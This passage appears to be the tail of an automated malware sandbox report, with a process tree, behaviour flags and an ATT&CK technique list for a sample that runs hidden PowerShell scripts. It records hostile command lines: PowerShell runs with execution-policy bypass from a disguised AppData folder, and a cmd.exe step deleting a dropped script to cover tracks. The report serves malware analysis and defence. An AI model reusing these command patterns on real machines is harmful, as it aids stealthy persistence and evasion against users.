        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\pbsrh_02.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:6020
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\qqboc.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        
        PID:1960
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\pwxsb.js"
        6⤵
        
        PID:996

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...